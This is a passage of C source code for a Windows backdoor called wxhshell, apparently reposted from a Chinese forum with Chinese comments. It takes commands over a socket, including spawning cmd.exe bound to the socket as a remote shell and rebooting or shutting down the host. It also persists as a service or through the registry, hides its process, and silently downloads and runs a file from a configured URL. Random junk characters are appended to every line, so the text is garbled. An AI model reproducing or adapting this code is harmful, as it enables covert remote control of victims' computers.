      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]jy6C'Mp  
    break; QU417EV'  
  } PHz/^p3F  
  // 安装 %*/?k~53  
  case 'i': { =e ;\I/  
    if(Install()) 52:oe1-8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S&R~*  
    else 1nvs51?H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6*]Kow?  
    break; $?'z%a{  
    } ^ S%4R'  
  // 卸载 p?d Ma_ g  
  case 'r': { v#nFPB=z  
    if(Uninstall()) [u-~<80  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "5>p]u>  
    else v3hNvcMpf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *1>XlVx,  
    break; a?D\H5TF-  
    } 5g/WQo\  
  // 显示 wxhshell 所在路径 D6v0n6w  
  case 'p': { 57HMWlg  
    char svExeFile[MAX_PATH]; "b} ^ xy  
    strcpy(svExeFile,"\n\r"); AWf zMJ;VS  
      strcat(svExeFile,ExeFile); SmtH2%yI  
        send(wsh,svExeFile,strlen(svExeFile),0); q Rtgk  
    break; .[CXW2k  
    } O?{pln  
  // 重启 ||/noUK  
  case 'b': { x9@%L{*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (j cLzq  
    if(Boot(REBOOT)) `@`Q"J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (M[Kh ^  
    else { gNxnoOY  
    closesocket(wsh); 2{&|%1Jg  
    ExitThread(0); IG#=}q  
    } g\X"E>X  
    break; x.45!8Zb  
    } ^]Gt<_  
  // 关机 5M*ZZ+YX  
  case 'd': { o^>*aQ!7<D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }TYCF@  
    if(Boot(SHUTDOWN)) SIbQs8h]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F.T~txQ~u  
    else { M/B_-8B_D  
    closesocket(wsh); D0-C:gz  
    ExitThread(0); Q}]Q0'X8  
    } =3& WH0  
    break; w8@ Ok_fj  
    } wV U(Du  
  // 获取shell q>H!?zi\Hy  
  case 's': { (}Gl'.>\M  
    CmdShell(wsh); \8<bb<`  
    closesocket(wsh); W]rXt,{ &  
    ExitThread(0); ef|Y2<P  
    break; -|V@zSKr3  
  } 4jar5Mz  
  // 退出 Z0E+EMo  
  case 'x': { fzw6VGTf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )B8[w  
    CloseIt(wsh); hgsE"H<V  
    break; N*@bJ*0  
    } *d(wO l5[  
  // 离开 a{]1H4+bQ  
  case 'q': { hBN!!a|l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Iy e  
    closesocket(wsh); `~*qjA  
    WSACleanup(); ?VReKv1\  
    exit(1); f^0vkWI2  
    break; }3N8EmS  
        } `uGX/yQ#=  
  } 7p2x}[ .\  
  } 9]hc{\  
#H5*]"w6I  
  // 提示信息 3+!N[6Od9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ue-HO  
} XFd[>U<X  
  } ,=K!Y TeVl  
W.H_G.C%  
  return; .F%!zaVIu  
} :X@;XEol~  
"I_3!Yu  
// shell模块句柄 '!En,*'IS  
int CmdShell(SOCKET sock) "jAV7lP  
{ S _#UEf  
STARTUPINFO si; lt(,/  
ZeroMemory(&si,sizeof(si)); (|bht0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +5^*c^C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o#w6]Fmc  
PROCESS_INFORMATION ProcessInfo; Ry/NfF=  
char cmdline[]="cmd"; ^S, "i V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #<se0CJB  
  return 0; \'1%"JWK   
} pz-`Tp w  
V ;>{-p  
// 自身启动模式 LscAsq<H<  
int StartFromService(void) f'r/Q2{n  
{ {feS-.Khv  
typedef struct - FE)  
{ x6F\|nb  
  DWORD ExitStatus; !.p!  
  DWORD PebBaseAddress; @Z.Ne:*J  
  DWORD AffinityMask; iiRK3m  
  DWORD BasePriority; Fbk<qQH  
  ULONG UniqueProcessId; y(N-1  
  ULONG InheritedFromUniqueProcessId; AV%Q5Mi}  
}   PROCESS_BASIC_INFORMATION; !nykq}kPN\  
Gt-  -7S  
PROCNTQSIP NtQueryInformationProcess; 9:@os0^O  
]kKf4SJZFU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }H^#}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d(fgv  
n>iPA D  
  HANDLE             hProcess; {4:En;  
  PROCESS_BASIC_INFORMATION pbi; #=$4U!yL  
a^sR?.+3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *~fN^{B'!  
  if(NULL == hInst ) return 0; 4e*0kItC  
i*2z7MY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f+/^1~^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rhL<JTS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2|Tt3/Rn  
,PIdPaV--  
  if (!NtQueryInformationProcess) return 0; R]ppA=1*_l  
_NZ) n)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s"a*S\a;b  
  if(!hProcess) return 0; WqTW@-}ID  
Q~*A`h#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ((X"D/F]  
MTqbQ69v  
  CloseHandle(hProcess); %DRDe  
Ppx*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5[*MT%ms  
if(hProcess==NULL) return 0; w.0.||C O  
l~f +h?cF  
HMODULE hMod; ~\i uV  
char procName[255]; 5B98}N  
unsigned long cbNeeded; Ha 3XH_  
e348^S&rG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZJw9 2Sb  
\,(tP:o  
  CloseHandle(hProcess); ?xeq*<qfI  
2TAy'BB;)  
if(strstr(procName,"services")) return 1; // 以服务启动 _q8s 7H  
FtF!Dtv  
  return 0; // 注册表启动 =z@'vu$Fh  
} ^5GS !u"  
t_j.@|/FZ  
// 主模块 ;$0za]x  
int StartWxhshell(LPSTR lpCmdLine) DR=>la}!  
{ 89 SsSb  
  SOCKET wsl; r Ssv^W+  
BOOL val=TRUE; h[B Ft{x  
  int port=0; huN(Q{fj  
  struct sockaddr_in door; S>H W`   
{= z%( '^  
  if(wscfg.ws_autoins) Install(); )3u[btm  
zV2c `he%z  
port=atoi(lpCmdLine); ,U<Ku*}B  
|-e=P9,  
if(port<=0) port=wscfg.ws_port; c=| a\\  
+osY iP5  
  WSADATA data; '.^JN@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fx.uPY.a  
gjs-j{*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n*;mFV0s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 16aaIK  
  door.sin_family = AF_INET; L9AfLw5&X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dd{{ d?;B  
  door.sin_port = htons(port); &7<~Q\XZbI  
7tr.&A^c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IjrTM{f  
closesocket(wsl); "#JoB X@yE  
return 1; pF8'S{y  
} vJcvyz#%1  
61C&vm  
  if(listen(wsl,2) == INVALID_SOCKET) { 1yE~#KpH  
closesocket(wsl); |a"(Ds2U  
return 1; -,+JE0[  
} ~#j `+  
  Wxhshell(wsl); Y#N'bvE|%  
  WSACleanup(); |Z "h q  
'7=*n_l  
return 0; RhDa`kV%t  
(8>k_  
} ^\wosB3E  
eM~i (]PY  
// 以NT服务方式启动 /Pf7=P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :!#-k  
{ ,f1+jC  
DWORD   status = 0; dk3\~m%Pv  
  DWORD   specificError = 0xfffffff; dkVVvK  
L ~;_R*Th  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v'iQLUgI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %R_8`4IQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =|G PSRQ  
  serviceStatus.dwWin32ExitCode     = 0; 5N[Y2  
  serviceStatus.dwServiceSpecificExitCode = 0; M.l;!U!}  
  serviceStatus.dwCheckPoint       = 0; Ao]F_hZ  
  serviceStatus.dwWaitHint       = 0; 0umfC  
"5YsBih  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )<~b*^kl\  
  if (hServiceStatusHandle==0) return; +)F8YMg e  
w}2yi#E[  
status = GetLastError(); dvxH:,  
  if (status!=NO_ERROR) /evh.S  
{ 6: M   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;aFQP:l/  
    serviceStatus.dwCheckPoint       = 0; RnTPU`  
    serviceStatus.dwWaitHint       = 0; O=+C Kx@  
    serviceStatus.dwWin32ExitCode     = status; *]H ./a:1  
    serviceStatus.dwServiceSpecificExitCode = specificError; _R8-Hj E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R2;-WxnN]  
    return; ~7Jc;y&  
  } @cXY"hP`  
0Ifd!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lOE bh  
  serviceStatus.dwCheckPoint       = 0; f< '~K  
  serviceStatus.dwWaitHint       = 0; :{Y,Nsa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iE&`F hf?  
} WIhf*LF"  
`"D7XC0x  
// 处理NT服务事件,比如:启动、停止 S5uV\Y/A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UkGUxQ,GU  
{ _]Hn:O"o  
switch(fdwControl) 2[:`w),.  
{ h<QXr'4+  
case SERVICE_CONTROL_STOP: wv*r}{%7g[  
  serviceStatus.dwWin32ExitCode = 0; vu*08<M~i|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WM"I r1  
  serviceStatus.dwCheckPoint   = 0; czT$mKj3  
  serviceStatus.dwWaitHint     = 0; 4+uAd"  
  { Yt{Y)=_t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5ax/jd~}  
  } v8WoV*  
  return; f"PApV9[  
case SERVICE_CONTROL_PAUSE:  k&rl%P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }2{%V^D)r  
  break; [NuayO3  
case SERVICE_CONTROL_CONTINUE: uH7u4f1Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iKdC2m  
  break; Cx@,J\rsQ  
case SERVICE_CONTROL_INTERROGATE: 'DKP-R"  
  break; {j(,Q qB;f  
}; 6ZF5f^M^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <CH7jbK  
} L1J"_.=P  
LUCpZ3F1  
// 标准应用程序主函数 / AW]12_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 19lx;^b  
{ Dui<$jl0b  
}t-{,0  
// 获取操作系统版本 D!y Cnq=8  
OsIsNt=GetOsVer(); ]~|zY5i!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u'iOa  
/njN*rhx&Z  
  // 从命令行安装 \75%[;.  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q#vur o  
~Ipl'cE  
  // 下载执行文件 :,cSEST  
if(wscfg.ws_downexe) { `4$" mO>+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e0aeiG$/0  
  WinExec(wscfg.ws_filenam,SW_HIDE); '|6j1i0x  
} g~`UC  
PvO>}(=  
if(!OsIsNt) { K.1#cf ^'  
// 如果时win9x,隐藏进程并且设置为注册表启动 x2 tx{Z  
HideProc(); bhFzu[B  
StartWxhshell(lpCmdLine); o05) I2  
} WSh+5](:  
else qf'uXH  
  if(StartFromService()) J%%nv5y  
  // 以服务方式启动 6W$k^<S  
  StartServiceCtrlDispatcher(DispatchTable); F+}MW/ra@  
else 2"2b\b}my  
  // 普通方式启动 =>ignoeI  
  StartWxhshell(lpCmdLine); NB LOcRSh  
j]kx~  
return 0; UW40Y3W0  
}
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只看该作者 1 发表于: 2006-10-10
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